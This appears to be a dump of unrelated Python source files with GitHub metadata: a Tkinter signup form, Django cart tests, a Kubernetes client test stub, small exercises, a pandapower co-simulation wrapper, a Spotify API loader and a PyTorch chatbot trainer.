cur.execute("INSERT INTO entry Values(?,?,?,?,?,?)",(e1.get(),e2.get(),e3.get(),e4.get() , e5.get() , e6.get()))
l4=Label(tab3,text="account created",font="times 15")
l4.place(x=550 , y=200)
conn.commit()
conn.close()
e1.delete(0,END)
e2.delete(0,END)
e3.delete(0,END)
e4.delete(0,END)
e5.delete(0,END)
e6.delete(0,END)
e1=Entry(tab3)
e1.place(x=400,y=45,width=250)
e2=Entry(tab3)
e2.place(x=400,y=70,width=250)
e3=Entry(tab3)
e3.place(x=400,y=100,width=250)
e4=Entry(tab3)
e4.place(x=400,y=130,width=250)
e5=Entry(tab3,show="*")
e5.place(x=400,y=160,width=250)
e6=Entry(tab3)
e6.place(x=400,y=190,width=250)
l1=Label(tab3,text = "Register" , font=("verdana 20"),fg='blue')
l1.grid(row=1 , column=2,columnspan=2,padx=420)
f_name=Label(tab3,text = "First Name:" , font=("calibri"))
f_name.grid(row=3 , column=2,padx=100)
l_name=Label(tab3,text = "Last Name:" , font=("calibri"))
l_name.grid(row=4 , column=2,padx=100)
m_name=Label(tab3,text = "Middle Name:" , font=("calibri"))
m_name.grid(row=5 , column=2,padx=100)
email=Label(tab3,text = "Email:",font='calibri')
email.grid(row=6,column=2,padx=100)
password=Label(tab3,text = "Password:",font="calibri")
password.grid(row=7,column=2,padx=100)
city=Label(tab3,text="City:",font="calibri")
city.grid(row=8,column=2,padx=100)
btn1=ttk.Button(tab3,text="Sign Up",width=20,command=submit)
btn1.grid(row=9,column=2)
root.mainloop()
| [
"noreply@github.com"
] | noreply@github.com |
2959a6d7bfeb74dc537f99b5b38d991fb0b5e85c | 457ffac5060e203defd64b78a11eea5fa02e584e | /cart/tests/test_views.py | f3c9769cc2258ba75821921bf1b75be939706b21 | [
"MIT"
] | permissive | andreztz/tutorial-e-commerce-django | a722915824833f098a7a3728a0fff341348b05c5 | 47d7fd9ed8edb43e6a57ede0f2b29a349a1f2b7b | refs/heads/main | 2023-02-22T23:21:41.646560 | 2021-01-17T16:24:41 | 2021-01-17T16:24:41 | 330,708,842 | 0 | 1 | MIT | 2021-01-18T15:29:09 | 2021-01-18T15:29:08 | null | UTF-8 | Python | false | false | 1,892 | py | import pytest
from django.conf import settings
from django.urls import resolve, reverse
pytestmark = pytest.mark.django_db
class TestCartAddView:
def test_reverse_resolve(self, product):
assert (
reverse("cart:add", kwargs={"product_id": product.id})
== f"/cart/add/{product.id}/"
)
assert resolve(f"/cart/add/{product.id}/").view_name == "cart:add"
def test_add_product_to_cart(self, client, product):
response = client.post(
reverse("cart:add", kwargs={"product_id": product.id}),
data={"quantity": 1, "override": False},
)
assert response.status_code == 302
assert response.url == "/cart/"
assert str(product.id) in client.session[settings.CART_SESSION_ID]
class TestCartRemoveView:
def test_reverse_resolve(self, product):
assert (
reverse("cart:remove", kwargs={"product_id": product.id})
== f"/cart/remove/{product.id}/"
)
assert resolve(f"/cart/remove/{product.id}/").view_name == "cart:remove"
def test_remove_product_from_cart(self, client, product):
client.post(
reverse("cart:add", kwargs={"product_id": product.id}),
data={"quantity": 1, "override": False},
)
response = client.post(
reverse("cart:remove", kwargs={"product_id": product.id})
)
assert response.status_code == 302
assert response.url == "/cart/"
assert str(product.id) not in client.session[settings.CART_SESSION_ID]
class TestCartDetailView:
def test_reverse_resolve(self, product):
assert reverse("cart:detail") == "/cart/"
assert resolve("/cart/").view_name == "cart:detail"
def test_status_code(self, client):
response = client.get(reverse("cart:detail"))
assert response.status_code == 200
| [
"fcgr.fcgr@gmail.com"
] | fcgr.fcgr@gmail.com |
013c1d369981d94c454a38a281f78ed4f54d4b91 | 5f86944bdf1b810a84c63adc6ed01bbb48d2c59a | /kubernetes/test/test_settings_api.py | e266034720dee9676cdc5fb197e1b837aaa3f470 | [
"Apache-2.0"
] | permissive | m4ttshaw/client-python | 384c721ba57b7ccc824d5eca25834d0288b211e2 | 4eac56a8b65d56eb23d738ceb90d3afb6dbd96c1 | refs/heads/master | 2021-01-13T06:05:51.564765 | 2017-06-21T08:31:03 | 2017-06-21T08:31:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 848 | py | # coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.6.5
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import os
import sys
import unittest
import kubernetes.client
from kubernetes.client.rest import ApiException
from kubernetes.client.apis.settings_api import SettingsApi
class TestSettingsApi(unittest.TestCase):
""" SettingsApi unit test stubs """
def setUp(self):
self.api = kubernetes.client.apis.settings_api.SettingsApi()
def tearDown(self):
pass
def test_get_api_group(self):
"""
Test case for get_api_group
"""
pass
if __name__ == '__main__':
unittest.main()
| [
"mehdy@google.com"
] | mehdy@google.com |
bc75f35366ee0d45c9a331c84ed37f246e4567f9 | 19795ccc19f2de96f05855c65bb830b593aae7c2 | /piglatin.py | f34b583ba374a57ed0b1d8aa822cfbd944f18cac | [] | no_license | champagnepappi/python_kickstart | 6a5c746f2f112c24db6f846cba71a1d4ab4346d1 | 6d69af5c1aca46039086be43aa95fa0f1933a85d | refs/heads/master | 2021-05-15T15:28:02.828328 | 2018-11-21T18:25:47 | 2018-11-21T18:25:47 | 107,372,144 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 367 | py | pyg = 'ay'
print "Welcome to Pig Latin Translator"
original = raw_input("Enter a word:")
if len(original) > 0 and original.isalpha():
word = original.lower()
first = word[0]
new_word = word + first + pyg
new_word = new_word[1:len(new_word)]
print "Original word is: "+ original
print "The new word is: " + new_word
else:
print "empty"
| [
"kevinochieng548@gmail.com"
] | kevinochieng548@gmail.com |
f9711376315cbcd8dd8294cc5623e86d72968337 | 5d402b4447f50ec51541d3aa2c6df7fd4f1eb9b0 | /grouper.py | 4b89284da6338af899e51b77ed2b2046e34916f8 | [] | no_license | calvinzpinson/hateabase | 6f9c98845731a779e415f5a33b44e295e9bd660a | 0731963b136f84863ab4830f10c156f8b490affc | refs/heads/master | 2021-01-13T15:34:49.675691 | 2016-12-20T05:04:08 | 2016-12-20T05:04:08 | 76,924,672 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 823 | py | def create_view(name, fields, tables):
statement = 'CREATE VIEW %s AS (\n' % (name)
statement += 'SELECT'
for field in fields:
statement += ' %s,' % (field)
statement += ' COUNT(*) AS NumIncidents, __IC__.TotalIncidents, __OC__.TotalOffenses\n'
statement += 'FROM'
for table in tables:
statement += ' %s JOIN' % (table)
statement = statement[:-5] + ', (SELECT COUNT(*) AS TotalIncidents FROM Incidents) __IC__, (SELECT COUNT(*) AS TotalOffenses FROM Offenses) __OC__\n'
statement += 'GROUP BY'
for field in fields:
statement += ' %s,' % (field)
statement = statement[:-1] + '\n'
statement += ');'
return statement
def main():
print create_view('test', ['a1','a2','a3'],['table1','table2','table3','table4'])
if __name__ == '__main__':
main() | [
"kkawahara1028@gmail.com"
] | kkawahara1028@gmail.com |
3ab23aa63bebb39044505bb27c51bb69d7b9cd4d | f4e4b2faa2153d3eef75f8467a72b037f9172dd8 | /app/src/API/serializers.py | e6aab2de8eab2f470c9f7b99725adbcb62347caf | [] | no_license | Titorat/challenge | 6e7a77186cc6db68729a3b15861703b23a71ac29 | d9882c4f8624f77e8fb05e6866c43f0dcd21e515 | refs/heads/master | 2022-12-16T02:49:45.713324 | 2020-09-14T20:41:41 | 2020-09-14T20:41:41 | 295,488,412 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 556 | py | from rest_framework import serializers
from API.models import CoffeMachine,CoffePod
class CoffeMachineSerializer(serializers.ModelSerializer):
class Meta:
model = CoffeMachine
fields = ('title',
'model_type',
'product_type',
'water_line_compatible')
class CoffePodSerializer(serializers.ModelSerializer):
class Meta:
model = CoffePod
fields = ('title',
'product_type',
'coffee_flavor',
'pack_size') | [
"abdallahamr5@gmail.com"
] | abdallahamr5@gmail.com |
6a5f99fc2d8fd1c5ad7da2f097eecb0cf51bf7cf | 0ba2c3776618b5b8b76f4a23f21e9c6ad3f6e2e1 | /afterclass/homework1/007_1.py | 98e2ac33076dbf3ab283e7a973e4e7a0a135d6f8 | [] | no_license | WangDongDong1234/python_code | 6dc5ce8210b1dcad7d57320c9e1946fd4b3fe302 | 6a785306a92d328a0d1427446ca773a9803d4cc0 | refs/heads/master | 2020-04-15T12:35:03.427589 | 2019-09-16T15:38:25 | 2019-09-16T15:38:25 | 164,681,323 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,826 | py | #list记录以i为分段点的最长增长子序列的个数
#返回最大分段点的坐标
def Max(list,n):
max=0
index=0;
for i in range(0,n):
if list[i]>max:
max=list[i]
index=i
return index;
def LIS(array,len,list,list_increase):
# list记录以i为分段点的最长增长子序列的个数
for i in range(0,len):
list.append(1)
list_increase[i].append(array[i])
for j in range(0,i):
if (array[i]>array[j])and(list[j]+1>list[i]):
list[i]=list[j]+1
for item in list_increase[j]:
if item not in list_increase[i]:
list_increase[i].append(item)
location=Max(list,len)
return location
arr=input()
arr_tmp=arr.strip(" ").split(" ")
#起初输入的数组
array_0=[]
array=[]
for item in arr_tmp:
array.append(int(item))
array_0.append(int(item))
list1=[]
list_increase=[]
for i in range(0,len(array_0)):
tmp_list=[]
list_increase.append(tmp_list)
index=LIS(array,len(array),list1,list_increase)
#print(list1)
#print(list_increase)
array.reverse()
list_reduce=[]
list2=[]
for i in range(0,len(array_0)):
tmp_list = []
list_reduce.append(tmp_list)
index2=LIS(array,len(array),list2,list_reduce)
list2.reverse()
list_reduce.reverse()
#print(list2)
#print(list_reduce)
sum=0
index=0
for i in range(0, len(list1)):
if sum<(list1[i]+list2[i]):
sum=list1[i]+list2[i]
index=i
list_increase[index].sort()
list_reduce[index].sort(reverse=True)
#print(list_increase[index])
#print(list_reduce[index])
print_list=[]
for item in list_increase[index]:
print_list.append(item)
for i in range(1,len(list_reduce[index])):
print_list.append(list_reduce[index][i])
for item in print_list:
print(item,end=" ") | [
"827495316@qq.com"
] | 827495316@qq.com |
4c007f5806ec2a7c762e595965c48fb652ce09a3 | ddac406bc698ea2091900e9582c4d34e43be9fbc | /implementation_files/cosim_pandapipes_pandapower/simulators/el_network/mosaik_wrapper.py | 0e10ac9c5e16cd288437fccdbf810cbbf668104f | [
"BSD-3-Clause"
] | permissive | ERIGrid2/benchmark-model-multi-energy-networks | fb026934712c192a2614b7efe2dda127fbee5554 | ba830ddf29e073cc97fe63e7d25f2ef78e6005ef | refs/heads/main | 2023-04-18T08:18:14.219997 | 2022-08-04T12:00:29 | 2022-08-04T12:00:29 | 429,090,968 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 8,455 | py | # Copyright (c) 2021 by ERIGrid 2.0. All rights reserved.
# Use of this source code is governed by LGPL-2.1.
'''
This is a modified version of the Mosaik Pandapower module.
'''
import logging
import os
import mosaik_api
from .simulator import Pandapower, make_eid
logger = logging.getLogger('pandapower.mosaik')
META = {
'models': {
'Grid': {
'public': True,
'params': [
'gridfile', # Name of the file containing the grid topology.
'sheetnames', # Mapping of Excel sheet names, optional.
],
'attrs': [],
},
'Ext_grid': {
'public': False,
'params': [],
'attrs': [
'p_mw', # load Active power [MW]
'q_mvar', # Reactive power [MVAr]
],
},
'Bus': {
'public': False,
'params': [],
'attrs': [
'p_mw', # load Active power [MW]
'q_mvar', # Reactive power [MVAr]
'vn_kv', # Nominal bus voltage [KV]
'vm_pu', # Voltage magnitude [p.u]
'va_degree', # Voltage angle [deg]
],
},
'Load': {
'public': False,
'params': [],
'attrs': [
'p_mw', # load Active power [MW]
'q_mvar', # Reactive power [MVAr]
'in_service', # specifies if the load is in service.
'controllable', # States if load is controllable or not.
],
},
'Sgen': {
'public': False,
'params': [],
'attrs': [
'p_mw', # load Active power [MW]
'q_mvar', # Reactive power [MVAr]
'in_service', # specifies if the load is in service.
'controllable', # States if load is controllable or not.
'va_degree', # Voltage angle [deg]
],
},
'Transformer': {
'public': False,
'params': [],
'attrs': [
'p_hv_mw', # Active power at "from" side [MW]
'q_hv_mvar', # Reactive power at "from" side [MVAr]
'p_lv_mw', # Active power at "to" side [MW]
'q_lv_mvar', # Reactive power at "to" side [MVAr]
'sn_mva', # Rated apparent power [MVA]
'max_loading_percent', # Maximum Loading
'vn_hv_kv', # Nominal primary voltage [kV]
'vn_lv_kv', # Nominal secondary voltage [kV]
'pl_mw', # Active power loss [MW]
'ql_mvar', # reactive power consumption of the transformer [Mvar]
#'pfe_kw', # iron losses in kW [kW]
#'i0_percent', # iron losses in kW [kW]
'loading_percent', # load utilization relative to rated power [%
'i_hv_ka', # current at the high voltage side of the transformer [kA]
'i_lv_ka', # current at the low voltage side of the transformer [kA]
'tap_max', # maximum possible tap turns
'tap_min', # minimum possible tap turns
'tap_pos', # Currently active tap turn
],
},
'Line': {
'public': False,
'params': [],
'attrs': [
'p_from_mw', # Active power at "from" side [MW]
'q_from_mvar', # Reactive power at "from" side [MVAr]
'p_to_mw', # Active power at "to" side [MW]
'q_to_mvar', # Reactive power at "to" side [MVAr]
'max_i_ka', # Maximum current [KA]
'length_km', # Line length [km]
'pl_mw', # active power losses of the line [MW]
'ql_mvar', # reactive power consumption of the line [MVar]
'i_from_ka', # Current at from bus [kA]
'i_to_ka', # Current at to bus [kA]
'loading_percent', #line loading [%]
'r_ohm_per_km', # Resistance per unit length [Ω/km]
'x_ohm_per_km', # Reactance per unit length [Ω/km]
'c_nf_per_km', # Capactity per unit length [nF/km]
'in_service', # Boolean flag (True|False)
],
},
},
}
class ElectricNetworkSimulator(mosaik_api.Simulator):
def __init__(self):
super(ElectricNetworkSimulator, self).__init__(META)
self.step_size = None
self.simulator=Pandapower()
self.time_step_index=0
#There are three elements that have power values based on the generator
# viewpoint (positive active power means power consumption), which are:
#gen ,sgen, ext_grid
#For all other bus elements the signing is based on the consumer viewpoint
# (positive active power means power consumption):bus, load
self._entities = {}
self._relations = [] # List of pair-wise related entities (IDs)
self._ppcs = [] # The pandapower cases
self._cache = {} # Cache for load flow outputs
def init(self, sid, step_size, mode, pos_loads=True):
#TODO: check if we need to change signs or we leave it
logger.debug('Power flow will be computed every %d seconds.' %
step_size)
#signs = ('positive', 'negative')
#logger.debug('Loads will be %s numbers, feed-in %s numbers.' %
# signs if pos_loads else tuple(reversed(signs)))
self.step_size = step_size
self.mode = mode
return self.meta
def create(self, num, modelname, gridfile, sheetnames=None):
if modelname != 'Grid':
raise ValueError('Unknown model: "%s"' % modelname)
if not sheetnames:
sheetnames = {}
grids = []
for i in range(num):
grid_idx = len(self._ppcs)
ppc, entities = self.simulator.load_case(gridfile,grid_idx)
self._ppcs.append(ppc)
children = []
for eid, attrs in sorted(entities.items()):
assert eid not in self._entities
self._entities[eid] = attrs
# We'll only add relations from line to nodes (and not from
# nodes to lines) because this is sufficient for mosaik to
# build the entity graph.
relations = []
if attrs['etype'] in ['Transformer', 'Line','Load','Sgen']:
relations = attrs['related']
children.append({
'eid': eid,
'type': attrs['etype'],
'rel': relations,
})
grids.append({
'eid': make_eid('grid', grid_idx),
'type': 'Grid',
'rel': [],
'children': children,
})
return grids
def step(self, time, inputs):
for eid, attrs in inputs.items():
idx = self._entities[eid]['idx']
etype = self._entities[eid]['etype']
static = self._entities[eid]['static']
for name, values in attrs.items():
attrs[name] = sum(float(v) for v in values.values())
if name == 'P':
attrs[name] *= self.pos_loads
self.simulator.set_inputs(etype, idx, attrs, static,)
if self.mode == 'pf_timeseries' and not bool(inputs):
self.simulator.powerflow_timeseries(self.time_step_index)
elif self.mode == 'pf':
self.simulator.powerflow()
self._cache = self.simulator.get_cache_entries()
self.time_step_index +=1
return time + self.step_size
def get_data(self, outputs):
data = {}
for eid, attrs in outputs.items():
for attr in attrs:
try:
val = self._cache[eid][attr]
if attr == 'P':
val *= self.pos_loads
except KeyError:
val = self._entities[eid]['static'][attr]
data.setdefault(eid, {})[attr] = val
return data
def main():
mosaik_api.start_simulation(ElectricNetworkSimulator(), 'The mosaik pandapower adapter')
| [
"edmund.widl@ait.ac.at"
] | edmund.widl@ait.ac.at |
0e38e1b4087e243ebf15c7bc144b19c90d1695f5 | e07bc656a4680fe5d22f6e8a11c34740e4798ab4 | /spotifypackage/apidata_genreartist.py | 56a655353c2480ec78b52cd50ddaadc623508a22 | [] | no_license | mrethana/spotify_mod_1 | ef5762fed3a36081d0c2927ef259985c4f9c5caa | 692cc3ad5c47b03093b096311f113e46433e4bab | refs/heads/master | 2020-03-23T11:18:55.641329 | 2018-10-15T01:14:35 | 2018-10-15T01:14:35 | 141,496,694 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,343 | py | from config import *
from models import *
import pdb
#to add: check artist genre using artist_clean and add them to that respective list in config
#this will update the genre_artist
#function to format all artist id's properly for API
def url_of_artist_ids():
x=[id for id in dict_of_ids.values()]
merge = '%2C'.join(x)
return "https://api.spotify.com/v1/artists" + "?ids=" + merge
#to call API for all artists
response_artists = requests.get(url_of_artist_ids(), headers=headers)
artists_raw = json.loads(response_artists.content)
artists_clean = [artist for artist in artists_raw['artists']]
#call all genres api
def get_all_genres():
url_genres_all = 'https://api.spotify.com/v1/browse/categories?country=US'
response_genres = requests.get(url_genres_all, headers=headers)
genres_raw = json.loads(response_genres.content)
return [Genre(name = genre['id']) for genre in genres_raw['categories']['items']]
genre_obj_list = get_all_genres()
#Create genres for artists
def genre_artist(spotify_id):
if spotify_id in edm_dance_list:
genre = 'edm_dance'
elif spotify_id in pop_list:
genre = 'pop'
elif spotify_id in hiphop_list:
genre = 'hiphop'
elif spotify_id in country_list:
genre = 'country'
elif spotify_id in rock_list:
genre = 'rock'
return genre
def find_or_create_genre(genre_name):
for item in genre_obj_list:
if genre_name == item.name:
return item
#creating several Artists objects pass through artists_clean
all_artists = []
# def artist(data):
# for item in data:
# name = item['name']
# spotify_id = item['id']
# popularity = item['popularity']
# followers = item['followers']['total']
# genre_name = genre_artist(spotify_id)
# genre = find_or_create_genre(genre_name)
# all_artists.append(Artist(spotify_id=spotify_id, name=name, artist_popularity=popularity, followers=followers, genre = genre))
# return all_artists
#
# artist(artists_clean)
#
# def add_artist_objects():
# for artist in all_artists:
# db.session.add(artist)
# db.session.commit()
# add_artist_objects()
# def add_genre_objects():
# for genre in genre_obj_list:
# db.session.add(genre)
# db.session.commit()
#
# add_genre_objects()
| [
"mark.rethana@gmail.com"
] | mark.rethana@gmail.com |
6e3c18adb7d7ad77bb6e1bcc4a56f27e7e828f9f | feae71cec59a1ddff977fe20522f0e0cb65d3210 | /train.py | ee1409ef2d0c7224a0fac0df8a0e74d54da80a56 | [] | no_license | NadineMoustafa/sentiment-analysis-chatbot | 1a99b915a4654526e0441a5f49b923531dda662b | 3fe4280b570996c219ab2c9df619b8bf1dc0e642 | refs/heads/main | 2023-06-27T18:15:02.017027 | 2021-08-02T12:24:07 | 2021-08-02T12:24:07 | 391,936,958 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,627 | py | from utilities.load_data import load_data
from model.model import NeuralNet
from model.dataset_model import ChatDataSet
import torch
import torch.nn as nn
from torch.utils.data import DataLoader
X_train, y_train ,all_words, tags = load_data() #Loading the data
#Hyper parameters
batch_size = 64
hidden_size = 8
input_size = len(all_words)
output_size = len(tags)
learning_rate = 0.001
num_epocs = 10000
#Creating the dataset loader
dataset = ChatDataSet(X_train,y_train)
train_looader = DataLoader(dataset= dataset, batch_size = batch_size, shuffle =True)
#Creating the model
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
model = NeuralNet(input_size, hidden_size, output_size)
# Calculate loss and optimzer
criterion = nn.CrossEntropyLoss()
optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)
for epoch in range(num_epocs):
for (words, lables) in train_looader:
words = words.to(device)
lables = lables.to(device)
#forward step
outputs = model(words)
loss = criterion(outputs, lables)
#backward step
optimizer.zero_grad()
loss.backward()
optimizer.step()
if (epoch + 1) % 100 ==0:
print(f"epoch {epoch + 1}/{num_epocs}, loss={loss.item():.4f}")
print(f"final loss, loss={loss.item():.4f}")
#Saving the trained model
data = {
"model_state": model.state_dict(),
"input_size": input_size,
"hidden_size": hidden_size,
"output_size": output_size,
"all_words": all_words,
"tags": tags
}
FILE = "output/data.pth"
torch.save(data, FILE)
print('training complete. file saved to {FILE}') | [
"nadine.moustafaa@gmail.com"
] | nadine.moustafaa@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.